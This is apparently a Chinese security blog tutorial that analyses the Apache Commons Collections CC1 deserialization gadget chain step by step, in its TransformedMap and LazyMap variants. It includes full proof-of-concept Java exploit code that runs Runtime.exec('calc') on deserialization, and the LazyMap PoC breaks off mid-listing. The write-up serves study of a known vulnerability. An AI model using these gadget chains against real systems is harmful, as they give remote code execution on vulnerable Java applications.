CommonCollections1利用链分析

GTL-JU Lv3

一、前言

前面分析了URLDNS利用链,cc1这条链的难度与urldns相比真的难了很多,从开始分析到写完这篇文章花了三四天的时间,但是这条链相比与urldns学到了更多。

Apache Commons Collections是一个第三方的基础类库,它提供了许多功能强大的数据结构类型,并实现了各种集合工具类。作为Apache开源项目的重要组件,CommonsCollections1是指反序列化攻击中的第一种RCE(远程代码执行)序列化链。这个漏洞点仍然存在于commons-collections-3.1版本中。

二、环境搭建

新建一个maven项目,使用jdk<=8u71

1
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

image-20230718200432685

我们这里分析的都是反编译的代码,在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换

链接:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载zip文件

解压后将其复制到jdk所在文件夹中src.zip解压后的src目录中

image-20230718200900265

然后打开项目结构->sdk

image-20230718200937261

将源码添加进去

然后在构建好的maven项目中导入依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

二、cc1利用链分析

cc1 TransformedMap利用链分析

这条利用链的漏洞点在于InvokerTransformer类下面的transform方法

我们先看一下这个transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}

可以看到它实现的功能和反射非常像,获取类对象和方法,然后通过invoke方法去执行这个方法

那我们就可以利用这一点进行rce

1
Runtime.getRuntime().exec("calc");

这是我们正常去执行打开计算器的一个代码

那我们也可以通过反射来写

1
2
3
4
Runtime r = Runtime.getRuntime();
Class c =Runtime.class;
Method execMthode=c.getMethod("exec",String.class);
execMthode.invoke(r,"calc");

我们首先通过反射获取到了 虚拟机的运行时对象 Runtime,然后从 Runtime 类中获取名为 “exec”,参数类型为 String 的方法对象 execMethod最后通过invoke在我们获取的java虚拟机对象上面执行我们的命令。

我们上面说InvokerTransformer类下面的transform方法实现的功能和我们这个是非常相似的

那我们也可以通过InvokerTransformer类下面的transform方法来实现这个弹计算器的命令

1
2
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

我们运行看一下效果:

image-20230717104959679

可以看到正常执行了运行计算器程序的命令

我们打断点看一下这个过程:

image-20230717105102698

首先是InvokerTransformer类的构造方法接受我们传进去的参数然后进行赋值

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

然后调用InvokerTransformer类下面的transform方法

跟进

image-20230717105219304

变量值:

image-20230717105237111

通过这个变量值我们可以看到这里同样是获取到类对象,然后获取相应的方法,然后调用invoke去执行打开计算器的命令。

通过上面的分析,我们已经明白如何去利用这个漏洞进行命令执行

但是我们要想对这个点进行利用我们要向上找哪里调用了transform方法,最终一直到readobject方法,我们这条链才能利用。

那么我先看一下哪里调用了transform方法

image-20230717110046541

通过查找调用我们可以看到很多方法里面都调用了transform方法

如果是正常进行进行一个新的利用链挖掘的话,我们就要一个个类进行分析

但是我们这里是为了学习分析这条利用链,就不一个个类分析了。

在cc1这条利用链里面我们用的是TransformedMap中的checkSetValue方法

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

可以看到在checksetValue方法中valueTransformer调用了transform

但是我们并不知道valueTransformer是否可控,只要可控我们才能够进行利用

向上找一下valueTransformer的实现

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

可以看到这个valueTransformer是TransformedMap类的构造方法的一个参数

那么这样valueTransformer的值我们就是可控的

但是TransformedMap的构造方法是 protected 我们不能够直接调用

继续向上查看调用

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

然后我们在TransformedMap类中找到了一个静态方法decorate方法

这里返回了一个TransformedMap对象,那我们可以通过这个静态方法调用TransformedMap的构造方法,进而控制valueTransformer的值。

那么根据我们上面的分析我们,可以简单画个流程图。

image-20230717113328116

那么按照上面的分析我们可以写出我们这部分的POC:

1
2
3
4
5
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map =new HashMap<>();
map.put("key","value");
TransformedMap.decorate(map,null,invokerTransformer);

到这里valueTransformer可控,说明我们后门的链子可以正常进行,但是我们要找到的入口点是readobject

所以继续向上找哪里调用了checkSetvalue方法

继续查找checkSetvalue的用法

image-20230717121345208

可以看到这个只有AbstractInputCheckedMapDecorator类中的 setValue方法符合我们的要求

而且我们也可以发现transformedMap继承了这个AbstractInputCheckedMapDecorator类

image-20230717162322837

跟进setValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这段代码中MapEntry是AbstractInputCheckedMapDecorator 内部的一个静态内部类。它继承自 AbstractMapEntryDecorator,扩展了 Map.Entry 接口的实现。这个 MapEntry 类的目的是包装原始的 Map.Entry 对象并重写了map类中的setvalue方法,构造方法 MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) 接收一个原始的 Map.Entry 对象和父级装饰器对象作为参数。在构造方法中,通过调用父类 AbstractMapEntryDecorator 的构造方法,将原始的 Map.Entry 对象包装起来。

通过分析代码我们可以知道这里的setvalue就是重写了map中的setvalue方法,我们如果要触发这个setvalue方法要通过Map.Entry 对象来调用它。

image-20230717162734633

在前面我们通过decorate这个静态方法装饰了我们定义的map对象,那么我们只要遍历这个装饰过的map获得map.entry对象,就可以调用setvalue方法,那我们调用了setValue方法就能够执行checksetvalue的调用

我们这里以循环来获取Map.Entry对象

1
2
3
4
5
for(Map.Entry entry: transformedMap.entrySet()){
System.out.println(entry);
entry.setValue(r);

}

或者迭代器

1
2
Map.Entry<Object, Object> entry = transformedMap.entrySet().iterator().next();
entry.setValue(r);

我们这里遍历我们上面经过decorate修饰过的map获取到map.entry对象,然后去调用setValue方法

那根据上面的分析我们就可以继续编写我们的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1blog {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map =new HashMap<>();
map.put("key","value");
map.put("1","2");
for(Map.Entry entry: transformedMap.entrySet()){
System.out.println(entry);
entry.setValue(r);

}
}
}

运行看一下结果:

image-20230717163607591

当我们获取到map.entry对象时,调用即执行到entry.setvalue()时,这里的entry是我们获取到的一个对象,其实就是我们经过装饰的transformedMap对象,但是transformedMap没有setvalue方法,那么就会调用父类里面的setvalue方法

我们在这里打个断点具体分析一下:

image-20230717165156184

然后调用checkSetValue方法

image-20230717165225350

继续跟进:

image-20230717165241778

可以看到最终来到了transform进行命令执行

那么到这里我们只要找到一个能够遍历map的地方然后还调用了setvalue那么我们这条链就能够执行我们后门的利用链。

继续向上查找setValue的用法:

image-20230717165931967

可以看到我们在AnnotationInvocationHandler里面的readobject方法里面找到了对setValue的调用

1
2
3
4
5
6
7
8
9
10
11
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

通过分析代码我们可以看到这个setvalue所在的for循环还有遍历map的功能,那这就很满足我们的要求

分析代码我们可以看到这个memberValue对象调用了这个setValue对象,那么只要这个memberValue可控,我们就可以将我们前边构造的transformedMap对象传入进去,那么再去调用setvalue方法就能够执行我们后面的利用链。

那我们现在就要去找这个memberValue是否可控

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

通过向上找我们可以看到这个memberValue是这个AnnotationInvocationHandler类的构造方法传递进来的

我们先分析一下这个构造方法接受的参数类型

Class<? extends Annotation> type:表示接受任何注解类型的 Class 对象

Map<String, Object> memberValues :接受一个map类的class对象

通过分析我们可以知道这里的memberValue是可控的,而且接受的也是map类型的,那我们实例化一个AnnotationInvocationHandler对象,然后将我们前面构造的transformMap传进去,然后进行序列化,我们整条利用链就构造完成了。

但是我们可以看到这里的AnnotationInvocationHandler的构造方法并不是一个public方法,那就说明我们不能直接去获取它。

那么这里我们可以通过反射去实现:

1
2
3
4
5
6
7
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);

annotationInvocationdhdlConstructor.setAccessible(true);

Object o=annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);//实例化对象

我们上面分析了AnnotationInvocationHandler接受两个参数,其中有个事注解类型的,我们这里传了一个Override.class

因为这里这个注解里面是空的

image-20230717172439183

经过上面我们已经将构造的transformedMap传进了AnnotationInvocationHandler的实例化对象中

那么正常情况到这里我们这条链就已经结束了,后面就是序列化和反序列化的调用了。

但是我们这里出现了几个问题:

解决runtime不能序列化的问题

我们先看第一个问题:

1
entry.setValue(r);

这里的setValue我们要传就是我们上面定义的runtime对象

但是这个runtime是我们自己定义的

但是这个Runtiem类没有实现序列化接口

image-20230717182239367

没有实现序列化接口说明这里不能够进行序列化

那么我们就不能直接调用它。

Runtime不能够序列化,但是Runtime.class是可以序列化的

Runtime.class 是 Java 中的一个特殊的静态属性,表示 java.lang.Runtime 类的 Class 对象。对于 java.lang.Runtime 类来说,Runtime.class 就是表示该类的元数据信息的 Class 对象。它包含了有关 Runtime 类的结构、方法、字段等信息,可以用于反射操作,例如获取方法、调用方法、获取类名等。

image-20230717182857346

我们可以看到这个是可以实例化的,他继承了序列化接口

那我们这里就可以通过反射来实例化Runtime对象

1
2
3
4
5
Class c= Runtime.class;
Method getRuntimeMethod=c.getMethod("getRuntime",null);
Runtime r =(Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod =c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

在上面我们分析,InvokerTransformer中的transform方法可以实现反射的功能

那我们这里也可以通过invokerTransFormer来实现:

1
2
3
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class,},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

分析这个代码我们可以看到其实就是transform的循环调用,那么我们传参的话就要把这几个类都要传进去,那么显然是很麻烦的,那么我们这里可以使用ChainedTransformer()类去简化这个操作。

我们先简单了解一下ChainedTransformer()类

ChainedTransformer 是 Apache Commons Collections 库中的一个类,用于将多个转换器串联在一起形成一个转换器链。其实说白了就是将第一个转换器的结果当作第二个转换器的参数,依次类推.

那么它刚好符合我们上面通过InvokerTransformer实现反射的过程。

image-20230717203423697

那么通过ChainedTransformer()实现就是:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

那么到这里我们的POC就应该是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class ccitest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

serializable(o);
unserializable();

}
// 序列化
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}

}

解决两个if判读问题

但是我们运行还是不能成功的,因为我们还有两个if判断没解决

image-20230717210035063

可以看到第一个if要求memberType不为空,但是根据变量值我们可以看到这里的memberType的值是空的,那么说明我们根本就没有走到setvalue

我们这里先分析一下这个memberType的值是怎么来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

...
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
}
..........
Map<String, Class<?>> memberTypes = annotationType.memberTypes()

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name)

通过这个代码分析我们可以知道,这里的type是我们传入的AnnotationInvocationHandler第一个参数,也就是我们传入的注解,

这里就是通过 AnnotationType 类获取注解类型的成员名称和类型

重点在于这几行代码:

1
2
3
4
annotationType = AnnotationType.getInstance(type);//获取注解对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes()//获取注解类型的成员类型映射表
String name = memberValue.getKey();//获取map键值对中的key
Class<?> memberType = memberTypes.get(name)//获取key对应在注解类型中的成员值

这里给一个示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
@interface MyAnnotation {
String value();
int count();
}

public class test {
public static void main(String[] args) {
Map<String, Object> memberValues = new HashMap<>();
memberValues.put("count",10);
memberValues.put("key", "value");

AnnotationType annotationType = AnnotationType.getInstance(MyAnnotation.class);

System.out.println(annotationType);

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
System.out.println(memberTypes);

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
System.out.println("=====================================================");
System.out.println(memberValue);
String name = memberValue.getKey();

System.out.println(name);
Class<?> memberType = memberTypes.get(name);
System.out.println(memberType);
}
}
}

运行结果:

image-20230718101622716

那么我们想要memberType不为空,那么我输入的hashmap中的key要在注解中存在。

image-20230718101940622

那么我们这里可以使用@Retention注解

其中存在一个成员方法value

那么我们只用让我们输入的hashmap中的key值为value。

即:

1
map.put("value", "value");

那么修改后的POC就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class ccitest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}
// 序列化
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}

}

再次调试:

image-20230718102530567

我们修改后的hashmap中的key值在注解中存在。那获取注解键值对对应的值就不会为空了。

那我们就满足了这个if

1
2
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||

java.lang.Class类的isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定对象为非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。

那么我们这个这里明显是不能强转的,所以这里我们就能直接过去。

但是我们这里运行还是会报错

image-20230718103552703

解决setValue传入值不可控问题

出现报错的原因就是因为我们前面说的setvalue传入值不可控的问题

因为这里要传的value的值其实就是我们构造的runtime对象.

image-20230718103719820

但是这里我们明显是不可控的

我们这里可以通过ConstantTransformer类来实现这个这一步:

我们在这里先大概了解ConstantTransformer:

ConstantTransformer 是 Apache Commons Collections 库中的一个类,用于创建一个始终返回固定值的转换器。

ConstantTransformer 中,你可以指定一个固定的值作为转换器的输出。该转换器在应用 transform 方法时,始终返回这个固定的值。以下是 ConstantTransformer 的构造方法和主要方法:

构造方法:

  • ConstantTransformer(Object constant):创建一个 ConstantTransformer 对象,使用指定的常量作为固定值。

主要方法:

  • transform(Object input):应用转换器,返回固定的值。

通过使用 ConstantTransformer,你可以将一个固定值包装成一个转换器,用于在各种场景中进行转换操作。例如,你可以使用 ConstantTransformer 创建一个始终返回特定字符串的转换器,或者创建一个始终返回某个预定义对象的转换器。

示例代码:

1
2
3
4
5
6
7
8
9
public class cc11 {
public static void main(String[] args) {
// 创建一个 ConstantTransformer,固定返回字符串 "Hello, World!"
Transformer constantTransformer = ConstantTransformer.getInstance("hello");
// 应用转换器,输出固定的值
String result = (String) constantTransformer.transform("input");
System.out.println("Result: " + result);
}
}

我们看一下源码中的ConstantTransformer的构造方法:

image-20230718110327568

这里传入一个对象并赋值给 iConstant

image-20230718110424089

第二个方法transform ,接收一个对象,然后直接返回 iConstant

那我们可以把这里返回的iConstant对象修改为我们获取的Runtime.class对象,那么这里无论接受什么都会返回这个虚拟机对象

1
2
3
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))

那我们这里接受这个AnnotationTypeMismatchExceptionProxy对象,在ConstantTransformer的transform方法下就直接返回了我们的虚拟机对象,解决了传入参数值不可控的问题

而且这里调用的也是transform方法,那么我们就可以写入到chainedTransformer中去循环调用。

最终POC

那么修改一下我们的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class ccitest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap);

serializable(o);
unserializable();

}
// 序列化
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}

}

运行:

image-20230718115431082

计算机程序打开成功了,那么到这里我们这条链就已经构造完了

利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

cc1 LazyMap 利用链分析

LazyMap 利用链和TranformedMap利用链后半部分都是一样的

这条链是ysoserial项目中的CC1利用链

我们在调用了InvokerTransformer类中的transform方法时,在第一条链中我们用的是TransformedMap方法中的checksetValue方法

但是Lazymap中的get方法也是可以利用的

image-20230718121037838

跟进到LazyMap的get方法

image-20230718121215884

我们可以看到这里factory调用了transform方法,key是get方法传入的,是可控的

向上找看factory是否可控

image-20230718121513387

在LazyMap的构造方法中找到了factory的传参

但是这个方法是受保护的方法,我们不能直接调用

继续找看有没有能够调用这个方法的

image-20230718121636115

可以看到这里有一个静态方法decorate调用了Lazymap的构造方法,,并且参数完全可控

到这里为止,这条链子和我们TranformedMap的利用链是非常相似的

那我这里就可以调用decorate静态方法进而调用LazyMap的构造方法,从而是factory可控,进而调用transform()方法

那我们这里可以编写POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ccitest {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> lazyMap = LazyMap.decorate(map, null, chainedTransformer);

前面的代码都是一样的,只用这里修改为 LazyMap

同样的思路继续向上找哪里调用了get

image-20230718122743403

在很对类中都调用了get方法,我们这条链用的是AnnotationInvocationHandler类中的invoke方法

image-20230718122921778

这里的memberValues调用了get方法

根据我们上条链分析我们知道这个memberValues的值是可控的

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

但是我们这里去找readobject调用时没有的

image-20230718123411905

可以发现这里并没有调用关系,找到的都是其他类里面的实现方法

动态代理

但是我们想要实现这条链的利用可以使用动态代理来实现

关于什么是动态代理,可以参考下面两个视频学习:

https://www.bilibili.com/video/BV1ue411N7GX/?p=2&spm_id_from=pageDriver&vd_source=fc5b727bddb8d056176195c541dcca51

https://www.bilibili.com/video/BV16h411z7o9/?p=3&vd_source=f775da115bc8ec53ca2933be0602dc26

我们这里简单的了解一下:

首先什么是代理?

代理是一种设计模式,用于控制对对象的访问。它允许你创建一个代理对象,该对象可以替代原始对象执行某些操作,同时隐藏原始对象的细节。代理对象充当了原始对象的代表,客户端程序将请求发送给代理对象,然后由代理对象将请求传递给原始对象。代理对象可以在传递请求之前或之后执行一些附加操作,例如权限验证、缓存、日志记录、远程调用等。

静态代理:

在程序运行前就已经存在代理类的字节码文件,代理类和被目标类的关系在运行前就确定了

动态代理:

在运行时创建代理对象。动态代理使用Java的反射机制,可以在运行时动态生成代理对象,无需为每个类创建独立的代理类。

如何使用动态代理:

  1. 通过实现InvovationHandler接口创建自己的调用处理器
  2. 通过为Proxy类指定ClassLoader对象和一组Interface来创建动态代理类
  3. 通过反射机制获取动态代理类的构造函数,其唯一参数类型是InvocationHandler接口类型
  4. 通过构造函数创建动态代理类实例,调用处理器对象(InvocationHandler接口的实现类实例)作为参数传入

Poc构造:

image-20230718175625223

AnnotationInvocationHandler类以及实现了InvocationHandler接口,那我们可以使用动态代理去代理LazMap对象,因为动态代理类都需要传入一个实现了InvocationHandler接口的类,并且这个类要重写一个invoke()方法,而当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler接口的类中的invoke()方法。

我们如果将这个对象用Proxy进行代理,那么在readObject()的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get

然后我们这里先对对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

1
2
3
4
5
6
7
8
9
10
Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取 AnnotationInvocationHandler 构造方法
Constructor<?> AnnotationInvocationHandlerConstrucor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
// 创建对象
AnnotationInvocationHandlerConstrucor.setAccessible(true);
InvocationHandler annHandObject = (InvocationHandler) AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, lazyMap);

// 动态代理 annHandObject
Map o = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annHandObject);

代码这里看到我们代理后的对象是proxyMap,但我们这里不能直接对它进行序列化,因为这里我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject

所以我们这里用AnnotationInvocationHandler对这个proxyMap进行实例化:

1
Object serializableObject = AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, o);

那么根据我们上面的分析,我们可以构造出

最终的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc12 {
public static void main(String[] args) throws Exception {
// 恶意代码调用链
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

// 反射获取 AnnotationInvocationHandler class 对象
Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射获取 AnnotationInvocationHandler 构造方法
Constructor<?> AnnotationInvocationHandlerConstrucor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
// 创建对象
AnnotationInvocationHandlerConstrucor.setAccessible(true);
InvocationHandler annHandObject = (InvocationHandler) AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, lazyMap);

// 动态代理 annHandObject
